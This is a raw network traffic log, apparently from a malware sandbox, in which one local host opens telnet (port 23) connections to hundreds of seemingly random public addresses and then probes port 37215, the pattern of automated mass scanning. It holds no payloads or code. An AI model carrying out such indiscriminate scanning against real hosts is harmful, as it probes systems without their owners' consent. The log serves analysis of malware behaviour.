Jan 5, 2025 14:34:59.541949034 CET	29476	23	192.168.2.13	135.225.39.154
Jan 5, 2025 14:34:59.541949034 CET	29476	23	192.168.2.13	13.125.43.235
Jan 5, 2025 14:34:59.541954041 CET	29476	23	192.168.2.13	83.102.206.239
Jan 5, 2025 14:34:59.541954994 CET	29476	23	192.168.2.13	145.94.162.186
Jan 5, 2025 14:34:59.541963100 CET	29476	23	192.168.2.13	2.223.57.187
Jan 5, 2025 14:34:59.541971922 CET	29476	23	192.168.2.13	131.203.189.105
Jan 5, 2025 14:34:59.541980028 CET	29476	23	192.168.2.13	18.120.71.219
Jan 5, 2025 14:34:59.541985035 CET	29476	23	192.168.2.13	199.87.91.71
Jan 5, 2025 14:34:59.541985035 CET	29476	23	192.168.2.13	131.50.124.184
Jan 5, 2025 14:34:59.541985989 CET	29476	23	192.168.2.13	1.9.98.14
Jan 5, 2025 14:34:59.541990995 CET	29476	23	192.168.2.13	114.68.155.225
Jan 5, 2025 14:34:59.542005062 CET	29476	23	192.168.2.13	158.167.44.133
Jan 5, 2025 14:34:59.542011023 CET	29476	23	192.168.2.13	98.184.0.58
Jan 5, 2025 14:34:59.542020082 CET	29476	23	192.168.2.13	106.75.60.82
Jan 5, 2025 14:34:59.542021990 CET	29476	23	192.168.2.13	86.163.128.30
Jan 5, 2025 14:34:59.542021990 CET	29476	23	192.168.2.13	84.139.63.153
Jan 5, 2025 14:34:59.542025089 CET	29476	23	192.168.2.13	142.117.72.199
Jan 5, 2025 14:34:59.542028904 CET	29476	23	192.168.2.13	18.108.253.39
Jan 5, 2025 14:34:59.542028904 CET	29476	23	192.168.2.13	150.19.56.49
Jan 5, 2025 14:34:59.542032957 CET	29476	23	192.168.2.13	204.247.213.108
Jan 5, 2025 14:34:59.542053938 CET	29476	23	192.168.2.13	111.161.182.18
Jan 5, 2025 14:34:59.542053938 CET	29476	23	192.168.2.13	9.69.81.183
Jan 5, 2025 14:34:59.542053938 CET	29476	23	192.168.2.13	171.4.227.25
Jan 5, 2025 14:34:59.542056084 CET	29476	23	192.168.2.13	197.253.8.36
Jan 5, 2025 14:34:59.542057991 CET	29476	23	192.168.2.13	139.179.84.169
Jan 5, 2025 14:34:59.542072058 CET	29476	23	192.168.2.13	78.89.28.212
Jan 5, 2025 14:34:59.542083025 CET	29476	23	192.168.2.13	66.246.241.209
Jan 5, 2025 14:34:59.542084932 CET	29476	23	192.168.2.13	46.125.1.205
Jan 5, 2025 14:34:59.542087078 CET	29476	23	192.168.2.13	209.95.124.175
Jan 5, 2025 14:34:59.542087078 CET	29476	23	192.168.2.13	106.112.3.64
Jan 5, 2025 14:34:59.542090893 CET	29476	23	192.168.2.13	128.87.18.154
Jan 5, 2025 14:34:59.542104959 CET	29476	23	192.168.2.13	50.186.222.37
Jan 5, 2025 14:34:59.542108059 CET	29476	23	192.168.2.13	129.126.193.26
Jan 5, 2025 14:34:59.542109966 CET	29476	23	192.168.2.13	146.237.138.45
Jan 5, 2025 14:34:59.542135000 CET	29476	23	192.168.2.13	129.199.47.4
Jan 5, 2025 14:34:59.542139053 CET	29476	23	192.168.2.13	130.157.27.55
Jan 5, 2025 14:34:59.542143106 CET	29476	23	192.168.2.13	132.112.151.100
Jan 5, 2025 14:34:59.542143106 CET	29476	23	192.168.2.13	144.252.209.99
Jan 5, 2025 14:34:59.542143106 CET	29476	23	192.168.2.13	80.60.225.113
Jan 5, 2025 14:34:59.542157888 CET	29476	23	192.168.2.13	132.193.249.30
Jan 5, 2025 14:34:59.542159081 CET	29476	23	192.168.2.13	5.70.124.60
Jan 5, 2025 14:34:59.542159081 CET	29476	23	192.168.2.13	159.206.175.129
Jan 5, 2025 14:34:59.542159081 CET	29476	23	192.168.2.13	115.98.23.2
Jan 5, 2025 14:34:59.542160988 CET	29476	23	192.168.2.13	201.35.35.77
Jan 5, 2025 14:34:59.542165041 CET	29476	23	192.168.2.13	118.17.79.149
Jan 5, 2025 14:34:59.542166948 CET	29476	23	192.168.2.13	207.105.169.180
Jan 5, 2025 14:34:59.542182922 CET	29476	23	192.168.2.13	90.214.202.36
Jan 5, 2025 14:34:59.542184114 CET	29476	23	192.168.2.13	103.126.170.210
Jan 5, 2025 14:34:59.542185068 CET	29476	23	192.168.2.13	69.92.123.106
Jan 5, 2025 14:34:59.542186975 CET	29476	23	192.168.2.13	193.33.23.89
Jan 5, 2025 14:34:59.542187929 CET	29476	23	192.168.2.13	85.20.160.3
Jan 5, 2025 14:34:59.542203903 CET	29476	23	192.168.2.13	166.170.16.199
Jan 5, 2025 14:34:59.542206049 CET	29476	23	192.168.2.13	194.237.13.162
Jan 5, 2025 14:34:59.542206049 CET	29476	23	192.168.2.13	12.6.96.62
Jan 5, 2025 14:34:59.542207003 CET	29476	23	192.168.2.13	177.74.60.151
Jan 5, 2025 14:34:59.542220116 CET	29476	23	192.168.2.13	146.79.87.107
Jan 5, 2025 14:34:59.542223930 CET	29476	23	192.168.2.13	70.200.16.23
Jan 5, 2025 14:34:59.542229891 CET	29476	23	192.168.2.13	138.145.138.155
Jan 5, 2025 14:34:59.542229891 CET	29476	23	192.168.2.13	39.175.170.135
Jan 5, 2025 14:34:59.542231083 CET	29476	23	192.168.2.13	198.147.140.135
Jan 5, 2025 14:34:59.542236090 CET	29476	23	192.168.2.13	136.20.15.132
Jan 5, 2025 14:34:59.542237043 CET	29476	23	192.168.2.13	138.143.184.45
Jan 5, 2025 14:34:59.542238951 CET	29476	23	192.168.2.13	176.245.26.192
Jan 5, 2025 14:34:59.542251110 CET	29476	23	192.168.2.13	208.156.138.179
Jan 5, 2025 14:34:59.542254925 CET	29476	23	192.168.2.13	63.44.18.113
Jan 5, 2025 14:34:59.542258024 CET	29476	23	192.168.2.13	156.244.190.162
Jan 5, 2025 14:34:59.542257071 CET	29476	23	192.168.2.13	83.16.183.50
Jan 5, 2025 14:34:59.542257071 CET	29476	23	192.168.2.13	187.102.101.234
Jan 5, 2025 14:34:59.542282104 CET	29476	23	192.168.2.13	211.214.7.32
Jan 5, 2025 14:34:59.542282104 CET	29476	23	192.168.2.13	144.169.34.47
Jan 5, 2025 14:34:59.542284012 CET	29476	23	192.168.2.13	24.212.68.224
Jan 5, 2025 14:34:59.542284012 CET	29476	23	192.168.2.13	27.242.180.151
Jan 5, 2025 14:34:59.542284012 CET	29476	23	192.168.2.13	155.143.88.241
Jan 5, 2025 14:34:59.542284966 CET	29476	23	192.168.2.13	151.144.111.78
Jan 5, 2025 14:34:59.542284012 CET	29476	23	192.168.2.13	178.53.68.240
Jan 5, 2025 14:34:59.542284012 CET	29476	23	192.168.2.13	175.178.47.62
Jan 5, 2025 14:34:59.542303085 CET	29476	23	192.168.2.13	190.248.217.25
Jan 5, 2025 14:34:59.542304993 CET	29476	23	192.168.2.13	120.144.253.75
Jan 5, 2025 14:34:59.542305946 CET	29476	23	192.168.2.13	123.163.63.204
Jan 5, 2025 14:34:59.542309999 CET	29476	23	192.168.2.13	110.105.214.159
Jan 5, 2025 14:34:59.542309999 CET	29476	23	192.168.2.13	19.212.115.157
Jan 5, 2025 14:34:59.542316914 CET	29476	23	192.168.2.13	117.144.156.191
Jan 5, 2025 14:34:59.542325974 CET	29476	23	192.168.2.13	20.134.27.237
Jan 5, 2025 14:34:59.542341948 CET	29476	23	192.168.2.13	185.103.53.75
Jan 5, 2025 14:34:59.542341948 CET	29476	23	192.168.2.13	153.197.97.36
Jan 5, 2025 14:34:59.542354107 CET	29476	23	192.168.2.13	144.130.25.96
Jan 5, 2025 14:34:59.542365074 CET	29476	23	192.168.2.13	111.38.132.254
Jan 5, 2025 14:34:59.542365074 CET	29476	23	192.168.2.13	87.214.203.90
Jan 5, 2025 14:34:59.542366028 CET	29476	23	192.168.2.13	23.119.155.181
Jan 5, 2025 14:34:59.542376041 CET	29476	23	192.168.2.13	186.128.113.91
Jan 5, 2025 14:34:59.542376995 CET	29476	23	192.168.2.13	174.222.4.98
Jan 5, 2025 14:34:59.542382956 CET	29476	23	192.168.2.13	46.176.175.236
Jan 5, 2025 14:34:59.542382956 CET	29476	23	192.168.2.13	175.83.148.123
Jan 5, 2025 14:34:59.542383909 CET	29476	23	192.168.2.13	31.173.128.157
Jan 5, 2025 14:34:59.542396069 CET	29476	23	192.168.2.13	74.71.23.69
Jan 5, 2025 14:34:59.542401075 CET	29476	23	192.168.2.13	184.21.139.115
Jan 5, 2025 14:34:59.542402029 CET	29476	23	192.168.2.13	178.160.35.88
Jan 5, 2025 14:34:59.542402029 CET	29476	23	192.168.2.13	1.89.173.35
Jan 5, 2025 14:34:59.542402029 CET	29476	23	192.168.2.13	91.139.49.234
Jan 5, 2025 14:34:59.542422056 CET	29476	23	192.168.2.13	52.247.224.29
Jan 5, 2025 14:34:59.542423964 CET	29476	23	192.168.2.13	131.10.111.65
Jan 5, 2025 14:34:59.542423964 CET	29476	23	192.168.2.13	86.6.75.34
Jan 5, 2025 14:34:59.542429924 CET	29476	23	192.168.2.13	1.167.154.60
Jan 5, 2025 14:34:59.542433023 CET	29476	23	192.168.2.13	97.87.219.64
Jan 5, 2025 14:34:59.542437077 CET	29476	23	192.168.2.13	122.146.159.127
Jan 5, 2025 14:34:59.542443037 CET	29476	23	192.168.2.13	49.207.213.66
Jan 5, 2025 14:34:59.542444944 CET	29476	23	192.168.2.13	114.90.108.69
Jan 5, 2025 14:34:59.542459011 CET	29476	23	192.168.2.13	149.124.160.223
Jan 5, 2025 14:34:59.542459965 CET	29476	23	192.168.2.13	150.110.91.14
Jan 5, 2025 14:34:59.542459965 CET	29476	23	192.168.2.13	23.99.145.50
Jan 5, 2025 14:34:59.542467117 CET	29476	23	192.168.2.13	223.218.203.212
Jan 5, 2025 14:34:59.542481899 CET	29476	23	192.168.2.13	78.54.206.84
Jan 5, 2025 14:34:59.542484045 CET	29476	23	192.168.2.13	47.200.153.42
Jan 5, 2025 14:34:59.542484999 CET	29476	23	192.168.2.13	125.64.243.111
Jan 5, 2025 14:34:59.542484999 CET	29476	23	192.168.2.13	72.201.122.25
Jan 5, 2025 14:34:59.542496920 CET	29476	23	192.168.2.13	216.250.60.104
Jan 5, 2025 14:34:59.542496920 CET	29476	23	192.168.2.13	159.5.183.182
Jan 5, 2025 14:34:59.542500019 CET	29476	23	192.168.2.13	65.222.159.90
Jan 5, 2025 14:34:59.542504072 CET	29476	23	192.168.2.13	171.27.4.105
Jan 5, 2025 14:34:59.542524099 CET	29476	23	192.168.2.13	153.194.126.200
Jan 5, 2025 14:34:59.542529106 CET	29476	23	192.168.2.13	132.27.104.73
Jan 5, 2025 14:34:59.542530060 CET	29476	23	192.168.2.13	113.220.79.33
Jan 5, 2025 14:34:59.542531013 CET	29476	23	192.168.2.13	58.41.138.132
Jan 5, 2025 14:34:59.542532921 CET	29476	23	192.168.2.13	119.207.31.212
Jan 5, 2025 14:34:59.542541027 CET	29476	23	192.168.2.13	183.66.16.90
Jan 5, 2025 14:34:59.542541027 CET	29476	23	192.168.2.13	133.57.147.92
Jan 5, 2025 14:34:59.542548895 CET	29476	23	192.168.2.13	174.91.187.77
Jan 5, 2025 14:34:59.542551041 CET	29476	23	192.168.2.13	124.126.42.10
Jan 5, 2025 14:34:59.542551041 CET	29476	23	192.168.2.13	133.82.153.42
Jan 5, 2025 14:34:59.542557001 CET	29476	23	192.168.2.13	70.70.179.55
Jan 5, 2025 14:34:59.542558908 CET	29476	23	192.168.2.13	118.61.175.61
Jan 5, 2025 14:34:59.542578936 CET	29476	23	192.168.2.13	167.136.134.239
Jan 5, 2025 14:34:59.542579889 CET	29476	23	192.168.2.13	83.187.203.180
Jan 5, 2025 14:34:59.542582035 CET	29476	23	192.168.2.13	185.70.228.147
Jan 5, 2025 14:34:59.542588949 CET	29476	23	192.168.2.13	164.115.110.222
Jan 5, 2025 14:34:59.542589903 CET	29476	23	192.168.2.13	126.148.153.198
Jan 5, 2025 14:34:59.542593002 CET	29476	23	192.168.2.13	137.131.220.117
Jan 5, 2025 14:34:59.542599916 CET	29476	23	192.168.2.13	137.20.176.93
Jan 5, 2025 14:34:59.542608023 CET	29476	23	192.168.2.13	220.15.105.5
Jan 5, 2025 14:34:59.542613029 CET	29476	23	192.168.2.13	136.150.118.141
Jan 5, 2025 14:34:59.542615891 CET	29476	23	192.168.2.13	183.185.67.58
Jan 5, 2025 14:34:59.542615891 CET	29476	23	192.168.2.13	129.42.96.153
Jan 5, 2025 14:34:59.542629004 CET	29476	23	192.168.2.13	193.238.226.120
Jan 5, 2025 14:34:59.542629004 CET	29476	23	192.168.2.13	94.3.132.98
Jan 5, 2025 14:34:59.542629004 CET	29476	23	192.168.2.13	170.121.208.46
Jan 5, 2025 14:34:59.542637110 CET	29476	23	192.168.2.13	125.120.245.254
Jan 5, 2025 14:34:59.542639971 CET	29476	23	192.168.2.13	208.144.127.199
Jan 5, 2025 14:34:59.542642117 CET	29476	23	192.168.2.13	208.51.3.154
Jan 5, 2025 14:34:59.542642117 CET	29476	23	192.168.2.13	101.76.3.102
Jan 5, 2025 14:34:59.542642117 CET	29476	23	192.168.2.13	189.67.21.162
Jan 5, 2025 14:34:59.542642117 CET	29476	23	192.168.2.13	36.101.190.13
Jan 5, 2025 14:34:59.542643070 CET	29476	23	192.168.2.13	159.212.248.153
Jan 5, 2025 14:34:59.542650938 CET	29476	23	192.168.2.13	65.174.233.138
Jan 5, 2025 14:34:59.542653084 CET	29476	23	192.168.2.13	110.113.191.118
Jan 5, 2025 14:34:59.542653084 CET	29476	23	192.168.2.13	192.25.253.178
Jan 5, 2025 14:34:59.542658091 CET	29476	23	192.168.2.13	190.98.226.213
Jan 5, 2025 14:34:59.542670012 CET	29476	23	192.168.2.13	35.164.144.31
Jan 5, 2025 14:34:59.542673111 CET	29476	23	192.168.2.13	194.117.51.12
Jan 5, 2025 14:34:59.542675018 CET	29476	23	192.168.2.13	165.219.66.116
Jan 5, 2025 14:34:59.542675018 CET	29476	23	192.168.2.13	85.190.227.180
Jan 5, 2025 14:34:59.542689085 CET	29476	23	192.168.2.13	149.131.136.118
Jan 5, 2025 14:34:59.542690992 CET	29476	23	192.168.2.13	203.192.31.147
Jan 5, 2025 14:34:59.542695045 CET	29476	23	192.168.2.13	201.242.29.26
Jan 5, 2025 14:34:59.542710066 CET	29476	23	192.168.2.13	201.152.94.169
Jan 5, 2025 14:34:59.542710066 CET	29476	23	192.168.2.13	163.76.198.129
Jan 5, 2025 14:34:59.542710066 CET	29476	23	192.168.2.13	39.84.1.14
Jan 5, 2025 14:34:59.542723894 CET	29476	23	192.168.2.13	23.240.164.228
Jan 5, 2025 14:34:59.542723894 CET	29476	23	192.168.2.13	151.17.46.100
Jan 5, 2025 14:34:59.542723894 CET	29476	23	192.168.2.13	179.71.222.64
Jan 5, 2025 14:34:59.542732000 CET	29476	23	192.168.2.13	79.202.79.145
Jan 5, 2025 14:34:59.542742014 CET	29476	23	192.168.2.13	88.47.247.18
Jan 5, 2025 14:34:59.542753935 CET	29476	23	192.168.2.13	137.96.26.191
Jan 5, 2025 14:34:59.542753935 CET	29476	23	192.168.2.13	8.141.202.140
Jan 5, 2025 14:34:59.542759895 CET	29476	23	192.168.2.13	123.126.141.132
Jan 5, 2025 14:34:59.542759895 CET	29476	23	192.168.2.13	122.223.97.9
Jan 5, 2025 14:34:59.542762041 CET	29476	23	192.168.2.13	20.62.143.133
Jan 5, 2025 14:34:59.542773008 CET	29476	23	192.168.2.13	62.87.254.223
Jan 5, 2025 14:34:59.542778969 CET	29476	23	192.168.2.13	92.81.230.117
Jan 5, 2025 14:34:59.542783976 CET	29476	23	192.168.2.13	193.133.27.60
Jan 5, 2025 14:34:59.542784929 CET	29476	23	192.168.2.13	93.249.131.158
Jan 5, 2025 14:34:59.542785883 CET	29476	23	192.168.2.13	114.211.37.135
Jan 5, 2025 14:34:59.542787075 CET	29476	23	192.168.2.13	45.199.130.253
Jan 5, 2025 14:34:59.542805910 CET	29476	23	192.168.2.13	62.143.191.176
Jan 5, 2025 14:34:59.542807102 CET	29476	23	192.168.2.13	152.131.10.115
Jan 5, 2025 14:34:59.542821884 CET	29476	23	192.168.2.13	209.34.140.23
Jan 5, 2025 14:34:59.542823076 CET	29476	23	192.168.2.13	13.177.251.101
Jan 5, 2025 14:34:59.542825937 CET	29476	23	192.168.2.13	77.155.252.14
Jan 5, 2025 14:34:59.542825937 CET	29476	23	192.168.2.13	141.163.64.95
Jan 5, 2025 14:34:59.542828083 CET	29476	23	192.168.2.13	137.220.151.186
Jan 5, 2025 14:34:59.542828083 CET	29476	23	192.168.2.13	1.248.236.67
Jan 5, 2025 14:34:59.542839050 CET	29476	23	192.168.2.13	86.244.253.211
Jan 5, 2025 14:34:59.542850018 CET	29476	23	192.168.2.13	31.148.117.89
Jan 5, 2025 14:34:59.542850971 CET	29476	23	192.168.2.13	161.199.59.178
Jan 5, 2025 14:34:59.542850971 CET	29476	23	192.168.2.13	158.18.203.53
Jan 5, 2025 14:34:59.542862892 CET	29476	23	192.168.2.13	181.253.233.59
Jan 5, 2025 14:34:59.542862892 CET	29476	23	192.168.2.13	150.70.176.249
Jan 5, 2025 14:34:59.542870998 CET	29476	23	192.168.2.13	62.87.199.1
Jan 5, 2025 14:34:59.542885065 CET	29476	23	192.168.2.13	164.124.219.255
Jan 5, 2025 14:34:59.542889118 CET	29476	23	192.168.2.13	211.159.95.9
Jan 5, 2025 14:34:59.542889118 CET	29476	23	192.168.2.13	110.212.117.234
Jan 5, 2025 14:34:59.542892933 CET	29476	23	192.168.2.13	196.48.48.58
Jan 5, 2025 14:34:59.542896032 CET	29476	23	192.168.2.13	70.106.29.106
Jan 5, 2025 14:34:59.542907953 CET	29476	23	192.168.2.13	159.44.41.26
Jan 5, 2025 14:34:59.542907953 CET	29476	23	192.168.2.13	152.214.132.205
Jan 5, 2025 14:34:59.542916059 CET	29476	23	192.168.2.13	9.157.160.110
Jan 5, 2025 14:34:59.542933941 CET	29476	23	192.168.2.13	107.163.96.113
Jan 5, 2025 14:34:59.542938948 CET	29476	23	192.168.2.13	200.13.65.101
Jan 5, 2025 14:34:59.542938948 CET	29476	23	192.168.2.13	63.199.103.170
Jan 5, 2025 14:34:59.542941093 CET	29476	23	192.168.2.13	8.71.87.252
Jan 5, 2025 14:34:59.542942047 CET	29476	23	192.168.2.13	131.2.204.162
Jan 5, 2025 14:34:59.542941093 CET	29476	23	192.168.2.13	208.223.113.220
Jan 5, 2025 14:34:59.542942047 CET	29476	23	192.168.2.13	174.70.81.172
Jan 5, 2025 14:34:59.542944908 CET	29476	23	192.168.2.13	92.206.184.58
Jan 5, 2025 14:34:59.542968035 CET	29476	23	192.168.2.13	85.244.42.157
Jan 5, 2025 14:34:59.542968035 CET	29476	23	192.168.2.13	185.239.107.164
Jan 5, 2025 14:34:59.542968988 CET	29476	23	192.168.2.13	98.112.50.144
Jan 5, 2025 14:34:59.542970896 CET	29476	23	192.168.2.13	160.215.9.51
Jan 5, 2025 14:34:59.542984009 CET	29476	23	192.168.2.13	34.230.89.239
Jan 5, 2025 14:34:59.542984009 CET	29476	23	192.168.2.13	170.35.74.166
Jan 5, 2025 14:34:59.542984962 CET	29476	23	192.168.2.13	131.155.141.167
Jan 5, 2025 14:34:59.542988062 CET	29476	23	192.168.2.13	223.2.14.243
Jan 5, 2025 14:34:59.542989969 CET	29476	23	192.168.2.13	178.149.26.173
Jan 5, 2025 14:34:59.543003082 CET	29476	23	192.168.2.13	181.129.55.223
Jan 5, 2025 14:34:59.546180010 CET	23	29476	132.50.171.219	192.168.2.13
Jan 5, 2025 14:34:59.546191931 CET	23	29476	83.127.8.198	192.168.2.13
Jan 5, 2025 14:34:59.546200991 CET	23	29476	158.187.215.89	192.168.2.13
Jan 5, 2025 14:34:59.546211958 CET	23	29476	134.225.112.126	192.168.2.13
Jan 5, 2025 14:34:59.546221018 CET	23	29476	101.106.62.91	192.168.2.13
Jan 5, 2025 14:34:59.546228886 CET	29476	23	192.168.2.13	132.50.171.219
Jan 5, 2025 14:34:59.546228886 CET	29476	23	192.168.2.13	158.187.215.89
Jan 5, 2025 14:34:59.546231031 CET	23	29476	46.144.30.146	192.168.2.13
Jan 5, 2025 14:34:59.546236038 CET	29476	23	192.168.2.13	83.127.8.198
Jan 5, 2025 14:34:59.546241999 CET	23	29476	120.215.118.4	192.168.2.13
Jan 5, 2025 14:34:59.546255112 CET	29476	23	192.168.2.13	134.225.112.126
Jan 5, 2025 14:34:59.546257019 CET	23	29476	123.97.12.90	192.168.2.13
Jan 5, 2025 14:34:59.546258926 CET	29476	23	192.168.2.13	46.144.30.146
Jan 5, 2025 14:34:59.546269894 CET	23	29476	27.145.167.50	192.168.2.13
Jan 5, 2025 14:34:59.546288967 CET	29476	23	192.168.2.13	120.215.118.4
Jan 5, 2025 14:34:59.546298027 CET	29476	23	192.168.2.13	101.106.62.91
Jan 5, 2025 14:34:59.546307087 CET	29476	23	192.168.2.13	123.97.12.90
Jan 5, 2025 14:34:59.546307087 CET	29476	23	192.168.2.13	27.145.167.50
Jan 5, 2025 14:34:59.546324015 CET	23	29476	18.47.149.92	192.168.2.13
Jan 5, 2025 14:34:59.546334982 CET	23	29476	43.178.13.185	192.168.2.13
Jan 5, 2025 14:34:59.546344042 CET	23	29476	121.17.209.29	192.168.2.13
Jan 5, 2025 14:34:59.546355009 CET	23	29476	59.252.26.162	192.168.2.13
Jan 5, 2025 14:34:59.546360016 CET	29476	23	192.168.2.13	18.47.149.92
Jan 5, 2025 14:34:59.546365023 CET	29476	23	192.168.2.13	43.178.13.185
Jan 5, 2025 14:34:59.546365976 CET	23	29476	141.141.149.2	192.168.2.13
Jan 5, 2025 14:34:59.546371937 CET	29476	23	192.168.2.13	121.17.209.29
Jan 5, 2025 14:34:59.546375990 CET	23	29476	133.123.209.85	192.168.2.13
Jan 5, 2025 14:34:59.546384096 CET	29476	23	192.168.2.13	59.252.26.162
Jan 5, 2025 14:34:59.546402931 CET	29476	23	192.168.2.13	141.141.149.2
Jan 5, 2025 14:34:59.546402931 CET	29476	23	192.168.2.13	133.123.209.85
Jan 5, 2025 14:34:59.568134069 CET	51614	23	192.168.2.13	128.228.90.182
Jan 5, 2025 14:34:59.572896004 CET	23	51614	128.228.90.182	192.168.2.13
Jan 5, 2025 14:34:59.572973013 CET	51614	23	192.168.2.13	128.228.90.182
Jan 5, 2025 14:34:59.576364040 CET	54338	23	192.168.2.13	132.50.171.219
Jan 5, 2025 14:34:59.581182957 CET	23	54338	132.50.171.219	192.168.2.13
Jan 5, 2025 14:34:59.581237078 CET	54338	23	192.168.2.13	132.50.171.219
Jan 5, 2025 14:34:59.582977057 CET	35668	23	192.168.2.13	83.127.8.198
Jan 5, 2025 14:34:59.587735891 CET	23	35668	83.127.8.198	192.168.2.13
Jan 5, 2025 14:34:59.587822914 CET	35668	23	192.168.2.13	83.127.8.198
Jan 5, 2025 14:34:59.590290070 CET	60222	23	192.168.2.13	158.187.215.89
Jan 5, 2025 14:34:59.595079899 CET	23	60222	158.187.215.89	192.168.2.13
Jan 5, 2025 14:34:59.595138073 CET	60222	23	192.168.2.13	158.187.215.89
Jan 5, 2025 14:34:59.597039938 CET	35636	23	192.168.2.13	134.225.112.126
Jan 5, 2025 14:34:59.600142956 CET	56138	23	192.168.2.13	68.131.152.79
Jan 5, 2025 14:34:59.600148916 CET	58388	23	192.168.2.13	148.144.246.36
Jan 5, 2025 14:34:59.601845026 CET	23	35636	134.225.112.126	192.168.2.13
Jan 5, 2025 14:34:59.601887941 CET	35636	23	192.168.2.13	134.225.112.126
Jan 5, 2025 14:34:59.604253054 CET	59912	23	192.168.2.13	46.144.30.146
Jan 5, 2025 14:34:59.604942083 CET	23	56138	68.131.152.79	192.168.2.13
Jan 5, 2025 14:34:59.604985952 CET	56138	23	192.168.2.13	68.131.152.79
Jan 5, 2025 14:34:59.609180927 CET	23	59912	46.144.30.146	192.168.2.13
Jan 5, 2025 14:34:59.609225035 CET	59912	23	192.168.2.13	46.144.30.146
Jan 5, 2025 14:34:59.610865116 CET	58962	23	192.168.2.13	101.106.62.91
Jan 5, 2025 14:34:59.617402077 CET	57934	23	192.168.2.13	120.215.118.4
Jan 5, 2025 14:34:59.622190952 CET	23	57934	120.215.118.4	192.168.2.13
Jan 5, 2025 14:34:59.622272968 CET	57934	23	192.168.2.13	120.215.118.4
Jan 5, 2025 14:34:59.624008894 CET	41594	23	192.168.2.13	123.97.12.90
Jan 5, 2025 14:34:59.628839016 CET	23	41594	123.97.12.90	192.168.2.13
Jan 5, 2025 14:34:59.628880024 CET	41594	23	192.168.2.13	123.97.12.90
Jan 5, 2025 14:34:59.630527020 CET	32780	23	192.168.2.13	27.145.167.50
Jan 5, 2025 14:34:59.632149935 CET	53112	23	192.168.2.13	202.166.12.138
Jan 5, 2025 14:34:59.632149935 CET	40814	23	192.168.2.13	187.51.163.74
Jan 5, 2025 14:34:59.636900902 CET	35854	23	192.168.2.13	18.47.149.92
Jan 5, 2025 14:34:59.641706944 CET	23	35854	18.47.149.92	192.168.2.13
Jan 5, 2025 14:34:59.641762972 CET	35854	23	192.168.2.13	18.47.149.92
Jan 5, 2025 14:34:59.643191099 CET	38804	23	192.168.2.13	43.178.13.185
Jan 5, 2025 14:34:59.649749994 CET	60914	23	192.168.2.13	121.17.209.29
Jan 5, 2025 14:34:59.654613018 CET	23	60914	121.17.209.29	192.168.2.13
Jan 5, 2025 14:34:59.654666901 CET	60914	23	192.168.2.13	121.17.209.29
Jan 5, 2025 14:34:59.656713963 CET	36404	23	192.168.2.13	59.252.26.162
Jan 5, 2025 14:34:59.661487103 CET	23	36404	59.252.26.162	192.168.2.13
Jan 5, 2025 14:34:59.661535978 CET	36404	23	192.168.2.13	59.252.26.162
Jan 5, 2025 14:34:59.662977934 CET	33982	23	192.168.2.13	141.141.149.2
Jan 5, 2025 14:34:59.664145947 CET	46174	23	192.168.2.13	63.178.116.229
Jan 5, 2025 14:34:59.668891907 CET	23	46174	63.178.116.229	192.168.2.13
Jan 5, 2025 14:34:59.669069052 CET	46174	23	192.168.2.13	63.178.116.229
Jan 5, 2025 14:34:59.669596910 CET	36488	23	192.168.2.13	133.123.209.85
Jan 5, 2025 14:34:59.696142912 CET	55056	23	192.168.2.13	159.44.198.213
Jan 5, 2025 14:34:59.696151018 CET	56804	23	192.168.2.13	82.80.137.90
Jan 5, 2025 14:34:59.696175098 CET	34836	23	192.168.2.13	166.21.16.17
Jan 5, 2025 14:34:59.701023102 CET	23	55056	159.44.198.213	192.168.2.13
Jan 5, 2025 14:34:59.701036930 CET	23	56804	82.80.137.90	192.168.2.13
Jan 5, 2025 14:34:59.701045990 CET	23	34836	166.21.16.17	192.168.2.13
Jan 5, 2025 14:34:59.701082945 CET	55056	23	192.168.2.13	159.44.198.213
Jan 5, 2025 14:34:59.701087952 CET	56804	23	192.168.2.13	82.80.137.90
Jan 5, 2025 14:34:59.701260090 CET	34836	23	192.168.2.13	166.21.16.17
Jan 5, 2025 14:35:00.048154116 CET	33778	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:35:00.048160076 CET	53800	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:35:00.048162937 CET	42706	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:35:00.048162937 CET	56658	37215	192.168.2.13	156.156.184.103
Jan 5, 2025 14:35:00.048162937 CET	38934	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:35:00.048166990 CET	56704	37215	192.168.2.13	156.135.244.57
Jan 5, 2025 14:35:00.048166990 CET	33134	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:35:00.048211098 CET	36638	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:35:00.053153038 CET	37215	33778	156.245.141.198	192.168.2.13
Jan 5, 2025 14:35:00.053167105 CET	37215	42706	197.37.180.192	192.168.2.13
Jan 5, 2025 14:35:00.053177118 CET	37215	56658	156.156.184.103	192.168.2.13
Jan 5, 2025 14:35:00.053186893 CET	37215	38934	41.245.158.70	192.168.2.13
Jan 5, 2025 14:35:00.053196907 CET	37215	56704	156.135.244.57	192.168.2.13
Jan 5, 2025 14:35:00.053200006 CET	33778	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:35:00.053208113 CET	37215	53800	197.159.178.158	192.168.2.13
Jan 5, 2025 14:35:00.053212881 CET	37215	33134	197.114.161.87	192.168.2.13
Jan 5, 2025 14:35:00.053216934 CET	37215	36638	156.241.244.77	192.168.2.13
Jan 5, 2025 14:35:00.053240061 CET	42706	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:35:00.053240061 CET	38934	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:35:00.053240061 CET	56658	37215	192.168.2.13	156.156.184.103
Jan 5, 2025 14:35:00.053256035 CET	33134	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:35:00.053256035 CET	56704	37215	192.168.2.13	156.135.244.57
Jan 5, 2025 14:35:00.053257942 CET	36638	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:35:00.053257942 CET	53800	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:35:00.053281069 CET	29479	37215	192.168.2.13	156.228.57.189
Jan 5, 2025 14:35:00.053282022 CET	29479	37215	192.168.2.13	197.232.247.125
Jan 5, 2025 14:35:00.053282022 CET	29479	37215	192.168.2.13	156.183.122.2
Jan 5, 2025 14:35:00.053293943 CET	29479	37215	192.168.2.13	197.160.95.203
Jan 5, 2025 14:35:00.053306103 CET	29479	37215	192.168.2.13	197.215.138.204
Jan 5, 2025 14:35:00.053309917 CET	29479	37215	192.168.2.13	41.185.109.79
Jan 5, 2025 14:35:00.053309917 CET	29479	37215	192.168.2.13	197.154.133.246
